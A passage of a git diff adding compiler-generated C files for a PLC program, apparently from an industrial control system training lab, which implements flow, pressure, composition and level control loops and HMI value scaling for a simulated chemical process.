__INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + 